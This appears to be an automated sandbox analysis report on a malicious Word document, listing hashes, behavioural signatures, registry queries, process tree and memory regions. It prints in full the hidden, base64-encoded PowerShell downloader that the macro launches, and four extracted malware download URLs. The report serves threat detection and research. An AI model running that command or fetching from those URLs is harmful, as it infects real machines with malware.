Analysis
-
max time kernel
136s -
max time network
125s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 02:28
Behavioral task
behavioral1
Sample
65b0b31f684e3523eed09883d33b6dcf_JaffaCakes118.doc
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
65b0b31f684e3523eed09883d33b6dcf_JaffaCakes118.doc
Resource
win10v2004-20240426-en
General
-
Target
65b0b31f684e3523eed09883d33b6dcf_JaffaCakes118.doc
-
Size
119KB
-
MD5
65b0b31f684e3523eed09883d33b6dcf
-
SHA1
3d7d2fcd99d4d6ff76f0fa7a0204e40f2aaac2e3
-
SHA256
c504761129ce0cf9a531ba30c6e8fbc9a9e8b9e7cf10a28a12dc6f62286902a4
-
SHA512
72c7239ef19838f24eca4e747d1f045aeb8d299332ec045d3f912afa5003d8499b1f4cea6dae805f9c22571c6b75c57746081a7c564a16930a89a73ab7843b7b
-
SSDEEP
1536:m6U079PaNYs+agHZRCvT6bUuZNNuykJZ1Ops3gu/:9vZy6bUuZTuykVOpsQ
Malware Config
Extracted
http://timetopatent.com/djjgFG1/
http://thebluefront.com/u5kTmV/
http://transitraum.de/NXkK7n/
http://myorganicflowers.com/sJXE/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
PowersHeLL.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3296 2440 PowersHeLL.exe WINWORD.EXE -
Blocklisted process makes network request 6 IoCs
Processes:
PowersHeLL.exeflow pid process 23 3296 PowersHeLL.exe 26 3296 PowersHeLL.exe 28 3296 PowersHeLL.exe 37 3296 PowersHeLL.exe 40 3296 PowersHeLL.exe 42 3296 PowersHeLL.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2440 WINWORD.EXE 2440 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
PowersHeLL.exepid process 3296 PowersHeLL.exe 3296 PowersHeLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
PowersHeLL.exedescription pid process Token: SeDebugPrivilege 3296 PowersHeLL.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 2440 WINWORD.EXE 2440 WINWORD.EXE 2440 WINWORD.EXE 2440 WINWORD.EXE 2440 WINWORD.EXE 2440 WINWORD.EXE 2440 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 2440 wrote to memory of 3296 2440 WINWORD.EXE PowersHeLL.exe PID 2440 wrote to memory of 3296 2440 WINWORD.EXE PowersHeLL.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\65b0b31f684e3523eed09883d33b6dcf_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\PowersHeLL.exePowersHeLL -WinDowsTyle hidden -e IAAuACAAKAAoAEcAdgAgACcAKgBNAEQAUgAqACcAKQAuAE4AQQBNAEUAWwAzACwAMQAxACwAMgBdAC0AagBvAEkAbgAnACcAKQAgACgAKAAoACIAewAxADgAfQB7ADkANwB9AHsAMQAxAH0AewAxADUAMQB9AHsAMgA3AH0AewAxADEANwB9AHsAMwA2AH0AewA3ADYAfQB7ADEAMAA3AH0AewA2ADMAfQB7ADEANAAwAH0AewA1ADQAfQB7ADcAMAB9AHsAMQA0ADIAfQB7ADkAOAB9AHsAMQAxADgAfQB7ADIANgB9AHsANQAzAH0AewAzAH0AewAxADAANAB9AHsAMQAwADgAfQB7ADAAfQB7ADQAOAB9AHsANAAyAH0AewA1ADEAfQB7ADYAMgB9AHsAMQAxADAAfQB7ADMANQB9AHsAMgA4AH0AewAxADMAfQB7ADcAMwB9AHsAMQAwADMAfQB7ADEAMwAzAH0AewAxADMAOAB9AHsANwA4AH0AewA3ADEAfQB7ADgAOAB9AHsANQA5AH0AewAzADMAfQB7ADMAMQB9AHsAMQA5AH0AewAxADIAOQB9AHsAOQB9AHsAMQAzADcAfQB7ADYAOQB9AHsAMQB9AHsAMwA5AH0AewAxADUANAB9AHsANwA1AH0AewA2ADcAfQB7ADkANQB9AHsANgB9AHsAMQAzADQAfQB7ADMANAB9AHsAMgAwAH0AewA3ADIAfQB7ADEANAB9AHsAMQA0ADkAfQB7ADMAMgB9AHsAMQA0ADUAfQB7ADQANAB9AHsAMwAwAH0AewAxADAANgB9AHsANAAzAH0AewA2ADYAfQB7ADkAMwB9AHsAMQA2AH0AewAxADUAfQB7ADEAMQA2AH0AewA1ADAAfQB7ADYAMAB9AHsAMQA0ADgAfQB7ADIAfQB7ADUANQB9AHsANwA5AH0AewA0AH0AewAzADgAfQB7ADIANQB9AHsAMgAxAH0AewAyADMAfQB7ADEAMAB9AHsAMQAzADIAfQB7ADEANAA0AH0AewAzADcAfQB7ADQAOQB9AHsAMQA1ADcAfQB7ADIAOQB9AHsAMQAyADYAfQB7ADYANAB9AHsAMQAwADEAfQB7ADUANwB9AHsAMQAyADUAfQB7ADEAMgAwAH0AewAxADUANQB9AHsAMQAyADIAfQB7ADEAMgAxAH0AewAxADEANAB9AHsAMQAyAH0AewA4ADMAfQB7ADEANQAyAH0AewA4ADUAfQB7ADYANQB9AHsAOAA3AH0AewA4ADkAfQB7ADEANwB9AHsAOAAxAH0AewAxADUAMwB9AHsAOQAxAH0AewA2ADgAfQB7ADgAMAB9AHsANAAxAH0AewAxADEAMwB9AHsAMQAxADIAfQB7ADEAMQAxAH0AewA4ADQAfQB7ADUAOAB9AHsAMgA0AH0AewA4ADYAfQB7ADEAMwAwAH0AewA5ADIAfQB7ADEAMwA5AH0AewA0ADYAfQB7ADkANgB9AHsAMQAzADUAfQB7ADcAfQB7ADEANQAwAH0AewAxADAAOQB9AHsAMQA0ADEAfQB7ADEAMAAwAH0AewAxADQANwB9AHsAMQA0ADYAfQB7ADEAMAAyAH0AewA5ADQAfQB7ADEAMQA1AH0AewA5ADkAfQB7ADcANwB9AHsAMQAyADcAfQB7ADQANQB9AHsAMQAyADgAfQB7ADEANQA2AH0AewAxADMANgB9AHsAMgAyAH0AewAxADMAMQB9AHsAMQAyADMAfQB7ADQANwB9AHsANwA0AH0AewA1ADIAfQB7ADQAMAB9AHsAMQAxADkAfQB7ADkAMAB9AHsAOAB9AHsANQA2AH0AewAxADAANQB9AHsANQB9AHsANgAxAH0AewA4ADIAfQB7ADEAMgA0AH0AewAxADQAMwB9ACIALQBmACAAJwAgAC4AKAAnACwAJwAxADMAMwApADsAZQBzAGcAQQBEAEMAWAAgACcALAAnAG0ALwB1ACcALAAnAFkAJwAsACcAaAB0AHQAcAA6ACcALAAnAHQAZQBtAG8AJwAsACcAbQBuAHkALgBjACcALAAnAHMAZgBjACAAaQBuACAAJwAsACcAZgAnACwAJwB0ACgAMQAwACcALAAnAHUAbQAuAGQAZQAnACwAJwAgACcALAAnADkAJwAsACcAKQAgAFMAJwAsACcAdAAnACwAJwBoAGUAYgBsACcALAAnADoALwAvAHQAJwAsACcAPQAnACwAJwBlAHMAZwBuAHMAJwAsACcAYQAnACwAJwB6AHMAWQAnACwAJwBuAHMAaQB0AHIAJwAsACcAbwBTAHQAcgBWAGMAZABpAFYAJwAsACcAYQAnACwAJwA5AGYAJwAsACcALwB0AHIAYQAnACwAJwBzACcALAAnACAAJgAoAG8AOQAnACwAJwBvADkAZgAtAG8AYgBqAGUAYwB0AG8AOQBmACcALAAnAG0AJwAsACcALgBjAG8AJwAsACcAcwBnAG4AcwAnACwAJwBhAHQAJwAsACcAOwBlAHMAZwBOAFMAQgAgAD0AIABlACcALAAnAG0ALwAnACwAJwArACcALAAnADkAZgAnACwAJwBLADcAbgAvACcALAAnAC8AJwAsACcAPQAgACcALAAnACkAOwAmACcALAAnAGMAIAArACcALAAnAGYAbgBlACcALAAnADEAJwAsACcAbgB0ACcALAAnAGUAcwBnACcALAAnAGEAYwAnACwAJwAsACAAZQBzAGcAJwAsACcAbwA5ACcALAAnAEAAJwAsACcAZQBmAHIAbwBuAHQALgAnACwAJwBvADkAZgArAG8AOQAnACwAJwBEAEMAJwAsACcAZwAnACwAJwBmAHcAJwAsACcANQBrAFQAJwAsACcAZQAnACwAJwBvACcALAAnAEIAIAArACAAKABvACcALAAnAHQAJwAsACcAYwAnACwAJwA5AGYAKQAoAGUAcwBnAFMARABDACkAOwBiAHIAZQBhAGsAOwAnACwAJwBmAHcAbwA5ACcALAAnAG8AJwAsACcAZgAnACwAJwBAAG8AJwAsACcALwBAAGgAdAB0ACcALAAnAHQAcAA6AC8ALwBzAHQAJwAsACcAdgA6AHAAJwAsACcAMgAnACwAJwAtAG8AYgBqACcALAAnAGkAJwAsACcAWQBkAC8AQABoACcALAAnAHkAcwB0ACcALAAnAFMAJwAsACcAaAB0ACcALAAnACsAbwAnACwAJwBGAEkAVgBjAGQAJwAsACcAQwBsACcALAAnAG0AVgAvAEAAJwAsACcAdQBiAGwAaQAnACwAJwAgAGUAJwAsACcAfQBjAGEAdABjACcALAAnAGYALgBTAHAAbABpAHQAKAAnACwAJwBvADkAZgAgACsAIABlAHMAZwBOAFMAJwAsACcAOQBmACcALAAnAC4AZQB4AG8AOQBmACsAbwAnACwAJwA5AGYAKQA7AGUAcwBnAFMARAAnACwAJwBlAG4AJwAsACcAQwAgACcALAAnAG8AOQBmACsAbwA5AGYAawBvADkAZgArAG8AOQAnACwAJwBlAG4AJwAsACcAKQA7AGYAJwAsACcAcAAnACwAJwBvAFYAYwBkAFcAbgBsAFYAYwBkACcALAAnAG8AcgAnACwAJwBoACgAZQAnACwAJwBhAGQAYQBzAGQAJwAsACcAdABvADkAZgApACcALAAnAGEAZAAnACwAJwAuACcALAAnAGwAJwAsACcARAAnACwAJwBlAG0AJwAsACcAWQBVACAAJwAsACcALQBJACcALAAnAG0ALwBkAGoAagBnAEYARwAnACwAJwA5AGYAZQAnACwAJwA9ACcALAAnAEEARABDAFgAKQAnACwAJwBmACcALAAnAGYAUwBwAHgAJwAsACcAbwA5ACcALAAnACAAJwAsACcAWABFAC8AbwAnACwAJwBPACcALAAnAHUAJwAsACcAZgBuAG8AJwAsACcAIAByAGEAbgBkAG8AbQA7AGUAJwAsACcAKABvADkAZgBJAG4AdgBvACcALAAnAHIAJwAsACcALwBzAEoAJwAsACcALgBjAG8AbQAnACwAJwBZAHkAKAApACcALAAnAGgAewB9ACcALAAnAHcAZQAnACwAJwB5AG8AcgBnAGEAbgBpAGMAJwAsACcAbABlAHcAWQB5ACgAJwAsACcAYQBzACcALAAnAGQAYQBzAGQALgBuAGUAeAAnACwAJwA5AGYAZQBvADkAZgAnACwAJwBjAGQATgBnAHcAJwAsACcALwAnACwAJwAuACcALAAnAG8AJwAsACcAcwBnAGEAJwAsACcAVAAnACwAJwAwADAAMAAsACAAMgA4ACcALAAnAE4AZQB0AC4AVwBlAGIAJwAsACcAbwByAGUAJwAsACcAOQBmACsAbwA5ACcALAAnAHsAdAByAHkAewBlAHMAZwBZAFkAVQAnACwAJwBlAGMAbwA5AGYAKwBvADkAZgAnACwAJwB9ACcALAAnAE4AWABrACcALAAnAGUAJwAsACcAWQB5ACcALAAnAHcAJwAsACcAbwAnACwAJwB0AHAAOgAvAC8AdABpAG0AZQB0AG8AcAAnACwAJwBlAHMAZwAnACwAJwA9ACcALAAnAG8AJwAsACcAcwBnACcALAAnAG8AOQBmAA0ACgAnACwAJwBzACcALAAnAGYAYwAuAHcAWQB5ACcALAAnAGgAdAB0AHAAOgAvAC8AJwApACkALgByAEUAcABMAEEAYwBlACgAJwBTAHAAeAAnACwAWwBzAHQAUgBJAE4ARwBdAFsAYwBoAEEAUgBdADkAMgApAC4AcgBFAHAATABBAGMAZQAoACcAVgBjAGQAJwAsACcAYAAnACkALgByAEUAcABMAEEAYwBlACgAKABbAGMAaABBAFIAXQAxADAAMQArAFsAYwBoAEEAUgBdADEAMQA1ACsAWwBjAGgAQQBSAF0AMQAwADMAKQAsACcAJAAnACkALgByAEUAcABMAEEAYwBlACgAKABbAGMAaABBAFIAXQAxADEAOQArAFsAYwBoAEEAUgBdADgAOQArAFsAYwBoAEEAUgBdADEAMgAxACkALABbAHMAdABSAEkATgBHAF0AWwBjAGgAQQBSAF0AMwA0ACkALgByAEUAcABMAEEAYwBlACgAJwBvADkAZgAnACwAWwBzAHQAUgBJAE4ARwBdAFsAYwBoAEEAUgBdADMAOQApACkAIAA=2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\TCD7B22.tmp\sist02.xslFilesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1c3f1i1g.nxi.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/2440-19-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-567-0x00007FFB25A10000-0x00007FFB25A20000-memory.dmpFilesize
64KB
-
memory/2440-5-0x00007FFB65A2D000-0x00007FFB65A2E000-memory.dmpFilesize
4KB
-
memory/2440-4-0x00007FFB25A10000-0x00007FFB25A20000-memory.dmpFilesize
64KB
-
memory/2440-6-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-7-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-16-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-8-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-11-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-12-0x00007FFB236E0000-0x00007FFB236F0000-memory.dmpFilesize
64KB
-
memory/2440-10-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-14-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-15-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-18-0x00007FFB236E0000-0x00007FFB236F0000-memory.dmpFilesize
64KB
-
memory/2440-568-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-1-0x00007FFB25A10000-0x00007FFB25A20000-memory.dmpFilesize
64KB
-
memory/2440-9-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-13-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-42-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-43-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-0-0x00007FFB25A10000-0x00007FFB25A20000-memory.dmpFilesize
64KB
-
memory/2440-3-0x00007FFB25A10000-0x00007FFB25A20000-memory.dmpFilesize
64KB
-
memory/2440-564-0x00007FFB25A10000-0x00007FFB25A20000-memory.dmpFilesize
64KB
-
memory/2440-17-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-2-0x00007FFB25A10000-0x00007FFB25A20000-memory.dmpFilesize
64KB
-
memory/2440-482-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-546-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/2440-565-0x00007FFB25A10000-0x00007FFB25A20000-memory.dmpFilesize
64KB
-
memory/2440-566-0x00007FFB25A10000-0x00007FFB25A20000-memory.dmpFilesize
64KB
-
memory/3296-62-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB
-
memory/3296-45-0x000002126D680000-0x000002126D6A2000-memory.dmpFilesize
136KB
-
memory/3296-44-0x00007FFB65990000-0x00007FFB65B85000-memory.dmpFilesize
2.0MB